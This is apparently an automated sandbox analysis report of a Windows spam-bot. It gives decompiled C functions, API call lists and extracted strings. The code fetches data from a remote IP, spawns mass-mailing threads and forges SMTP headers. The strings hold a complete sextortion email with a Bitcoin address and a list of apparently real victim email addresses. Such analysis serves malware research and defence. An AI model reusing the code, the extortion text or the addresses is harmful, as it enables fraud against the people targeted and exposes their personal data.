0x002e1beb
0x002e1bf1
0x002e1bff
0x002e1c03
0x002e1c0d
0x002e1c1b
0x002e1c0f
0x002e1c0f
0x002e1c0f
0x00000000
0x00000000
0x002e1c27
0x002e1c27
0x002e1c37
0x002e1c3d
0x002e1c40
0x002e1c46
0x002e1c4d
0x002e1c58
0x002e1c62
0x002e1c70
0x002e1c64
0x002e1c64
0x002e1c64
0x00000000
0x00000000
0x002e1c7c
0x002e1c83
0x002e1c87
0x002e1c91
0x002e1c9f
0x002e1c93
0x002e1c93
0x002e1c93
0x00000000
0x00000000
0x00000000
0x00000000
0x002e21f2
0x002e21f9
0x002e21fd
0x002e2205
0x00000000
0x00000000
0x002e1af1
0x00000000
0x002e1af1
0x002e1acb
0x00000000
0x002e1acb
0x002e1ac9
0x002e2211
0x002e221a
0x002e2223
0x002e222d
0x002e2239
0x002e2239

APIs

Part of subcall function 002E1320: GetTickCount.KERNEL32 ref: 002E132A
Part of subcall function 002E1320: srand.MSVCR90 ref: 002E1331
Part of subcall function 002E1320: rand.MSVCR90 ref: 002E1353
Part of subcall function 002E1320: sprintf.MSVCR90 ref: 002E136E

wsprintfA.USER32 ref: 002E1CC9

Part of subcall function 002E1490: GetLocalTime.KERNELBASE(?), ref: 002E1528
Part of subcall function 002E1490: GetTimeZoneInformation.KERNELBASE(00000000), ref: 002E1563
Part of subcall function 002E1490: wsprintfA.USER32 ref: 002E164E

Sleep.KERNELBASE(000007D0), ref: 002E1CEA

Part of subcall function 002E1490: FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 002E153B
Part of subcall function 002E1490: FileTimeToSystemTime.KERNEL32(?,?), ref: 002E154C

rand.MSVCR90 ref: 002E1D11
rand.MSVCR90 ref: 002E1D22
rand.MSVCR90 ref: 002E1D33
rand.MSVCR90 ref: 002E1D44

Part of subcall function 002E1390: rand.MSVCR90 ref: 002E13A0
Part of subcall function 002E1390: rand.MSVCR90 ref: 002E13CD

wsprintfA.USER32 ref: 002E1D73

Part of subcall function 002E1120: lstrlenA.KERNEL32(?), ref: 002E112D
Part of subcall function 002E1120: send.WS2_32(?,?,000000FF,00000000), ref: 002E1144

wsprintfA.USER32 ref: 002E1DE3
shutdown.WS2_32(000000FF,00000002), ref: 002E2223
closesocket.WS2_32(000000FF), ref: 002E222D

Strings

Content-type: text/plain;, xrefs: 002E1FD9
My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX, xrefs: 002E2163
If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com, xrefs: 002E214F
An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.., xrefs: 002E21B3
Received: (qmail %s invoked by uid %s); %s, xrefs: 002E1DD7
I RECORDED YOU!, xrefs: 002E1EAE
In addition, I assure you that all the harmful software will be deleted from your device., xrefs: 002E2127
Unfortunately, there are some bad news for you., xrefs: 002E2024
Check the sender of this email, I have sent it from your email account., xrefs: 002E2060
Be sure, I keep my promises!, xrefs: 002E213B
If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks., xrefs: 002E209C
Hello there!, xrefs: 002E2010
%s.com, xrefs: 002E1CBD
You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun., xrefs: 002E2074
Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE)., xrefs: 002E2177
Message-ID: <%s.%s@%s>, xrefs: 002E1F6F
Mime-Version: 1.0, xrefs: 002E1FB6
Date: %s, xrefs: 002E1EFF
Subject: %s, xrefs: 002E1EB3
Afterwards, we can pretend that we have never met before., xrefs: 002E2113
To: %s, xrefs: 002E1E69
My trojan allows me to access your accounts, your camera and microphone., xrefs: 002E204C
You are given not more than 48 hours after you have opened this email (2 days to be precise)., xrefs: 002E218B
I RECORDED YOU (through your camera) SATISFYING YOURSELF!, xrefs: 002E2088
All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer)., xrefs: 002E20B0
Everything will be carried out based on fairness!, xrefs: 002E219F
Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google., xrefs: 002E2038
After the transaction is successful, I will proceed to delete everything without delay., xrefs: 002E20C4
From: %s, xrefs: 002E1E20
Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s, xrefs: 002E1D67

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: rand$Time$wsprintf$File$Local$CountInformationSleepSystemTickZoneclosesocketlstrlensendshutdownsprintfsrand
String ID: %s.com$After the transaction is successful, I will proceed to delete everything without delay.$Afterwards, we can pretend that we have never met before.$All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).$An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches..$Be sure, I keep my promises!$Check the sender of this email, I have sent it from your email account.$Content-type: text/plain;$Date: %s$Everything will be carried out based on fairness!$From: %s$Hello there!$I RECORDED YOU (through your camera) SATISFYING YOURSELF!$I RECORDED YOU!$If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com$If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks.$In addition, I assure you that all the harmful software will be deleted from your device.$Message-ID: <%s.%s@%s>$Mime-Version: 1.0$My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX$My trojan allows me to access your accounts, your camera and microphone.$Received: (qmail %s invoked by uid %s); %s$Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s$Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.$Subject: %s$To: %s$Unfortunately, there are some bad news for you.$Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE).$You are given not more than 48 hours after you have opened this email (2 days to be precise).$You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.
API String ID: 1336957093-984273515
Opcode ID: 87eeb2762abd5df99d428b9239f73ed184734840cad260426de034f1bb55815b
Instruction ID: 4496ea23b098fc576317732a8f577ab37990a0555f1cb864a539b781a07cd3a4
Opcode Fuzzy Hash: 87eeb2762abd5df99d428b9239f73ed184734840cad260426de034f1bb55815b
Instruction Fuzzy Hash: 77E1DAF1DA0258ABDF10EB92DC42FEE733DAB54300F8405A8FA0D66181E77556B88F61

Uniqueness

Uniqueness Score: -1.00%

Function 002E23B0 Relevance: 63.2, APIs: 29, Strings: 7, Instructions: 178
sleepthreadfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E002E23B0(void* _a4) {
				short _v524;
				signed int _v528;
				short _v1052;
				long _v1572;
				short _v2092;
				char _v2356;
				int _v2360;
				int _v2364;
				char* _t59;
				char* _t66;
				int _t67;
				signed int _t70;
				signed int _t74;
				signed int _t76;
				signed int _t78;
				int _t83;
				int _t85;
				signed int _t88;
				void* _t122;
				void* _t134;
				void* _t139;

				memcpy( &_v2356, _a4, 0x41 << 2);
				srand(GetTickCount());
				E002E2660(0,  &_v2092, 0, 0x104);
				E002E2660( &_v1572,  &_v1572, 0, 0x104);
				E002E2660( &_v1572,  &_v1052, 0, 0x104);
				E002E2660( &_v1572,  &_v524, 0, 0x104);
				memset("[102.129.143.97]", 0, 0x1f4);
				_t59 = E002E17D0(); // executed
				strcpy("[102.129.143.97]", _t59);
				ExpandEnvironmentStringsW(L"%temp%",  &_v2092, 0x104);
				mbstowcs( &_v1572,  &_v2356, 0x105);
				wsprintfW( &_v1052, L"%sn.txt",  &_v1572);
				_t66 = E002E18D0(0,  &_v1052, 0); // executed
				_t67 = atoi(_t66);
				_t134 = _t122 + 0x7c;
				_v528 = _t67;
				if(_v528 <= 0) {
					ExitThread(0);
				} else {
					goto L1;
				}
				while(1) {
					L1:
					Sleep(0x3e8); // executed
					E002E2660( &_v524,  &_v524, 0, 0x104);
					E002E2660( &_v524, "C:\Users\Alvin\AppData\Local\Temp\21083193641899.jpg", 0, 0x104);
					_t70 = rand();
					asm("cdq");
					wsprintfW( &_v524, L"%s%d.txt",  &_v1572, _t70 % _v528 + 1);
					_t74 = rand();
					asm("cdq");
					_t76 = rand();
					asm("cdq");
					_t78 = rand();
					asm("cdq");
					wsprintfW("C:\Users\Alvin\AppData\Local\Temp\21083193641899.jpg", L"%s\\%d%d%d.jpg",  &_v2092, _t78 % 0x7fff + 0x3e8, _t76 % 0x7fff + 0x3e8, _t74 % 0x7fff + 0x3e8);
					E002E18D0(1,  &_v524, "C:\Users\Alvin\AppData\Local\Temp\21083193641899.jpg"); // executed
					_t139 = _t134 + 0x4c;
					_t83 = PathFileExistsW("C:\Users\Alvin\AppData\Local\Temp\21083193641899.jpg"); // executed
					if(_t83 == 0) {
						goto L7;
					}
					_v2364 = 0;
					while(_v2364 < 0xbb8) {
						CreateThread(0, 0, E002E2280, 0, 0, 0); // executed
						_t88 = rand();
						asm("cdq");
						Sleep(_t88 % 0x32 + 0x32); // executed
						_v2364 = _v2364 + 1;
					}
					DeleteFileW("C:\Users\Alvin\AppData\Local\Temp\21083193641899.jpg");
					L7:
					_t85 = atoi(E002E18D0(0,  &_v1052, 0));
					_t134 = _t139 + 0x10;
					_v2360 = _t85;
					if(_v2360 >= 1) {
						continue;
					}
					ExitProcess(0);
				}
			}

0x002e23c9
0x002e23d2
0x002e23e8
0x002e23fe
0x002e2414
0x002e242a
0x002e243e
0x002e2446
0x002e2451
0x002e246a
0x002e2483
0x002e249e
0x002e24b2
0x002e24bb
0x002e24c0
0x002e24c3
0x002e24d0
0x002e264c
0x00000000
0x00000000
0x00000000
0x002e24d6
0x002e24d6
0x002e24db
0x002e24ef
0x002e2503
0x002e250b
0x002e2510
0x002e252e
0x002e2537
0x002e253c
0x002e254b
0x002e2550
0x002e255f
0x002e2564
0x002e2584
0x002e259b
0x002e25a0
0x002e25a8
0x002e25b0
0x00000000
0x00000000
0x002e25b2
0x002e25cd
0x002e25e8
0x002e25ee
0x002e25f3
0x002e25ff
0x002e25c7
0x002e25c7
0x002e260c
0x002e2612
0x002e2626
0x002e262b
0x002e262e
0x002e263b
0x00000000
0x002e2645
0x002e263f
0x002e263f

APIs

GetTickCount.KERNEL32 ref: 002E23CB
srand.MSVCR90 ref: 002E23D2
_wmemset.LIBCPMTD ref: 002E23E8
_wmemset.LIBCPMTD ref: 002E23FE
_wmemset.LIBCPMTD ref: 002E2414
_wmemset.LIBCPMTD ref: 002E242A
memset.MSVCR90 ref: 002E243E

Part of subcall function 002E17D0: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 002E17E3
Part of subcall function 002E17D0: InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 002E1807
Part of subcall function 002E17D0: InternetReadFile.WININET(00000000,?,00000063,?), ref: 002E1824
Part of subcall function 002E17D0: wsprintfA.USER32 ref: 002E1860
Part of subcall function 002E17D0: InternetCloseHandle.WININET(00000000), ref: 002E1882
Part of subcall function 002E17D0: InternetCloseHandle.WININET(?), ref: 002E18A1

strcpy.MSVCR90([102.129.143.97],00000000), ref: 002E2451
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 002E246A
mbstowcs.MSVCR90 ref: 002E2483
wsprintfW.USER32 ref: 002E249E

Part of subcall function 002E18D0: memset.MSVCR90 ref: 002E18E2
Part of subcall function 002E18D0: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 002E18F7
Part of subcall function 002E18D0: InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 002E191A
Part of subcall function 002E18D0: CreateFileW.KERNELBASE(002E24B7,40000000,00000000,00000000,00000002,00000000,00000000), ref: 002E1949
Part of subcall function 002E18D0: InternetReadFile.WININET(00000000,wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin,000003FF,002E24B7), ref: 002E196A
Part of subcall function 002E18D0: WriteFile.KERNELBASE(000000FF,wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin,00000000,00000000,00000000), ref: 002E198D
Part of subcall function 002E18D0: CloseHandle.KERNEL32(000000FF), ref: 002E1999
Part of subcall function 002E18D0: InternetCloseHandle.WININET(00000000), ref: 002E19BD
Part of subcall function 002E18D0: InternetCloseHandle.WININET(00000000), ref: 002E19C7

atoi.MSVCR90 ref: 002E24BB
Sleep.KERNELBASE(000003E8), ref: 002E24DB
_wmemset.LIBCPMTD ref: 002E24EF
_wmemset.LIBCPMTD ref: 002E2503
rand.MSVCR90 ref: 002E250B
wsprintfW.USER32 ref: 002E252E
rand.MSVCR90 ref: 002E2537
rand.MSVCR90 ref: 002E254B
rand.MSVCR90 ref: 002E255F
wsprintfW.USER32 ref: 002E2584

Part of subcall function 002E18D0: InternetReadFile.WININET(00000000,wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin,000003FF,002E24B7), ref: 002E19B3

PathFileExistsW.KERNELBASE(C:\Users\user\AppData\Local\Temp\21083193641899.jpg), ref: 002E25A8
CreateThread.KERNELBASE(00000000,00000000,002E2280,00000000,00000000,00000000), ref: 002E25E8
rand.MSVCR90 ref: 002E25EE
Sleep.KERNELBASE ref: 002E25FF
DeleteFileW.KERNEL32(C:\Users\user\AppData\Local\Temp\21083193641899.jpg), ref: 002E260C
atoi.MSVCR90 ref: 002E2626
ExitProcess.KERNEL32 ref: 002E263F
ExitThread.KERNEL32 ref: 002E264C

Strings

%s%d.txt, xrefs: 002E2522
%s\%d%d%d.jpg, xrefs: 002E257A
C:\Users\user\AppData\Local\Temp\21083193641899.jpg, xrefs: 002E24FE, 002E257F, 002E258D, 002E25A3, 002E2607
^-v, xrefs: 002E25A8
%temp%, xrefs: 002E2465
%sn.txt, xrefs: 002E2492
[102.129.143.97], xrefs: 002E2439, 002E244C

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: Internet$File$_wmemset$CloseHandlerand$Openwsprintf$Read$CreateExitSleepThreadatoimemset$CountDeleteEnvironmentExistsExpandPathProcessStringsTickWritembstowcssrandstrcpy
String ID: %s%d.txt$%s\%d%d%d.jpg$%sn.txt$%temp%$C:\Users\user\AppData\Local\Temp\21083193641899.jpg$[102.129.143.97]$^-v
API String ID: 3135460431-1052940751
Opcode ID: eaeb6b6b811f948e795b2619de232527c68e195b3991c7a37256a618832efba0
Instruction ID: f83e0c6f872de0d2139ceb9eb955d22f4d05b957482858f240a00777e86a283d
Opcode Fuzzy Hash: eaeb6b6b811f948e795b2619de232527c68e195b3991c7a37256a618832efba0
Instruction Fuzzy Hash: 0651D8B1EE0344E7EB10B762EC4BFD9733DAB54705F8044A4F70A651C2DEB456A88EA1

Uniqueness

Uniqueness Score: -1.00%

Function 002E18D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 86
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E002E18D0(signed char _a4, WCHAR* _a8, WCHAR* _a12) {
				void* _v8;
				void* _v12;
				long _v16;
				long _v20;
				void* _v24;
				void* _t32;
				int _t33;

				memset("wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin", 0, 0x400);
				_v24 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 1, 0, 0, 0);
				if(_v24 != 0) {
					_v8 = InternetOpenUrlW(_v24, _a8, 0, 0, 0, 0);
					if(_v8 != 0) {
						if((_a4 & 0x000000ff) != 1) {
							InternetReadFile(_v8, "wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin", 0x3ff,  &_v20); // executed
						} else {
							_t32 = CreateFileW(_a12, 0x40000000, 0, 0, 2, 0, 0); // executed
							_v12 = _t32;
							if(_v12 != 0xffffffff) {
								while(1) {
									_t33 = InternetReadFile(_v8, "wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin", 0x3ff,  &_v20); // executed
									if(_t33 == 0 || _v20 == 0) {
										break;
									}
									WriteFile(_v12, "wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin", _v20,  &_v16, 0); // executed
								}
								CloseHandle(_v12);
							}
						}
					}
					InternetCloseHandle(_v8); // executed
				}
				InternetCloseHandle(_v24);
				return 0x2e6520;
			}

0x002e18e2
0x002e18fd
0x002e1904
0x002e1920
0x002e1927
0x002e1934
0x002e19b3
0x002e1936
0x002e1949
0x002e194f
0x002e1956
0x002e1958
0x002e196a
0x002e1972
0x00000000
0x00000000
0x002e198d
0x002e198d
0x002e1999
0x002e1999
0x002e199f
0x002e1934
0x002e19bd
0x002e19bd
0x002e19c7
0x002e19d5

APIs

memset.MSVCR90 ref: 002E18E2
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 002E18F7
InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 002E191A
CreateFileW.KERNELBASE(002E24B7,40000000,00000000,00000000,00000002,00000000,00000000), ref: 002E1949
InternetReadFile.WININET(00000000,wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin,000003FF,002E24B7), ref: 002E196A
WriteFile.KERNELBASE(000000FF,wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin,00000000,00000000,00000000), ref: 002E198D
CloseHandle.KERNEL32(000000FF), ref: 002E1999
InternetReadFile.WININET(00000000,wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin,000003FF,002E24B7), ref: 002E19B3
InternetCloseHandle.WININET(00000000), ref: 002E19BD
InternetCloseHandle.WININET(00000000), ref: 002E19C7

Strings

wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin, xrefs: 002E18DD, 002E1961, 002E1984, 002E19AA, 002E19CD
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 002E18F2

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritememset
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$wood@ciab.comcstaffey@live.compkl3543@sbcglobal.netcknighten9@msn.comtinamariex0@aim.comtanya@args.comc.calistro@att.netddalepeterson@msn.comhsacrey@shaw.caknjr67@netscape.netestefaniapereira@icloud.compillingha@live.cakmpayne@netins.netmike@gelin
API String ID: 4022733741-433978251
Opcode ID: 0f53e4e4397daf7dcce0f8816cd032728d49421c33e3151409590682c6f7199c
Instruction ID: 255fe8e096110fc2171037111233e782615b92c73e818893a4a79fad8d6c76a0
Opcode Fuzzy Hash: 0f53e4e4397daf7dcce0f8816cd032728d49421c33e3151409590682c6f7199c
Instruction Fuzzy Hash: F6315070AD0349FBDB14DBA1EC9EFAE7B78AB05700FA04154F6057A1C0D6B0AA60CB54

Uniqueness

Uniqueness Score: -1.00%

Function 002E2280 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74
stringthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E002E2280() {
				char _v268;
				char _v532;
				struct _IO_FILE* _v536;
				long _v540;
				signed char _v544;
				int _t18;
				char* _t26;
				signed char _t28;
				void* _t38;
				void* _t40;
				signed long long _t48;

				_t18 = GetTickCount();
				srand(_t18);
				_push("r");
				_push("C:\Users\Alvin\AppData\Local\Temp\21083193641899.jpg"); // executed
				L002E27F0(); // executed
				_t40 = _t38 + 0xc;
				_v536 = _t18;
				if(_v536 == 0) {
					L7:
					E002E1400( &_v532);
					if(E002E18B0( &_v532, "@") != 0 && E002E18B0( &_v532, ".") != 0) {
						_push(0x2e442e);
						E002E19E0( &_v532); // executed
					}
					ExitThread(0);
				}
				_v540 = 0;
				while(1) {
					_t26 = fgets( &_v268, 0x104, _v536); // executed
					_t40 = _t40 + 0xc;
					if(_t26 == 0) {
						break;
					}
					_v540 = _v540 + 1;
					_t28 = rand();
					_v544 = _t28;
					asm("fild dword [ebp-0x21c]");
					_t48 = _t48 /  *0x2e4d00;
					asm("fild dword [ebp-0x218]");
					asm("fld1");
					asm("fdivrp st1, st0");
					asm("fcompp");
					asm("fnstsw ax");
					if((_t28 & 0x00000001) == 0) {
						strcpy( &_v532,  &_v268);
						_t40 = _t40 + 8;
					}
				}
				fclose(_v536); // executed
				_t40 = _t40 + 4;
				goto L7;
			}

0x002e2289
0x002e2290
0x002e2298
0x002e229d
0x002e22a2
0x002e22a7
0x002e22aa
0x002e22b7
0x002e2346
0x002e234d
0x002e236b
0x002e2385
0x002e2391
0x002e2396
0x002e239b
0x002e239b
0x002e22bd
0x002e22c7
0x002e22da
0x002e22df
0x002e22e4
0x00000000
0x00000000
0x002e22ef
0x002e22f5
0x002e22fa
0x002e2300
0x002e2306
0x002e230c
0x002e2312
0x002e2314
0x002e2316
0x002e2318
0x002e231d
0x002e232d
0x002e2332
0x002e2332
0x002e2335
0x002e233e
0x002e2343
0x00000000

APIs

GetTickCount.KERNEL32 ref: 002E2289
srand.MSVCR90 ref: 002E2290
_wfopen.MSVCR90 ref: 002E22A2
fgets.MSVCR90 ref: 002E22DA
rand.MSVCR90 ref: 002E22F5
strcpy.MSVCR90(?,?), ref: 002E232D
fclose.MSVCR90 ref: 002E233E
ExitThread.KERNEL32 ref: 002E239B

Strings

C:\Users\user\AppData\Local\Temp\21083193641899.jpg, xrefs: 002E229D

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: CountExitThreadTick_wfopenfclosefgetsrandsrandstrcpy
String ID: C:\Users\user\AppData\Local\Temp\21083193641899.jpg
API String ID: 3964472883-983958598
Opcode ID: c372997c28b51480dfdcefd433b3425db6a22bbd6661d56509bddf260e474637
Instruction ID: bd358f9ba4cc309aa83542430a9b7890a79d664de3a8341b7b50c19dca4ba52d
Opcode Fuzzy Hash: c372997c28b51480dfdcefd433b3425db6a22bbd6661d56509bddf260e474637
Instruction Fuzzy Hash: 9E21C7B5DD025C97DB20FB62ED8ABDD733C6B20305F8405E4A50965141EA749BF8CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 002E1B2D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrA.SHLWAPI(?), ref: 002E1B34
wsprintfA.USER32 ref: 002E1B4F
wsprintfA.USER32 ref: 002E1B71
shutdown.WS2_32(000000FF,00000002), ref: 002E2223
closesocket.WS2_32(000000FF), ref: 002E222D

Strings

EHLO %s, xrefs: 002E1B43
HELO %s, xrefs: 002E1B65
[102.129.143.97], xrefs: 002E1B3E, 002E1B60

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: wsprintf$closesocketshutdown
String ID: EHLO %s$HELO %s$[102.129.143.97]
API String ID: 4205972133-681149705
Opcode ID: 1e9b4a222f4d4c8351f65ebac51ca9d8ccb228acbc704d4a433a2eb799ed5760
Instruction ID: 7bb98b82930665bfd3f7b7675a4313986ecd68c9324a6bb56edaf34be73931a9
Opcode Fuzzy Hash: 1e9b4a222f4d4c8351f65ebac51ca9d8ccb228acbc704d4a433a2eb799ed5760
Instruction Fuzzy Hash: C2214FB1DA0258DFCF10DFA2EC49BAE7778BB48348F4441A9E60DA6141E77459A4CF28

Uniqueness

Uniqueness Score: -1.00%

Function 002E1BB6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E002E1BB6(void* __eflags) {
				void* _t170;
				intOrPtr _t174;
				void* _t175;
				void* _t200;
				void* _t202;
				void* _t205;
				void* _t207;

				L0:
				while(1) {
					L0:
					wsprintfA(_t200 - 0x88, "<%s>",  *((intOrPtr*)(_t200 + 8)));
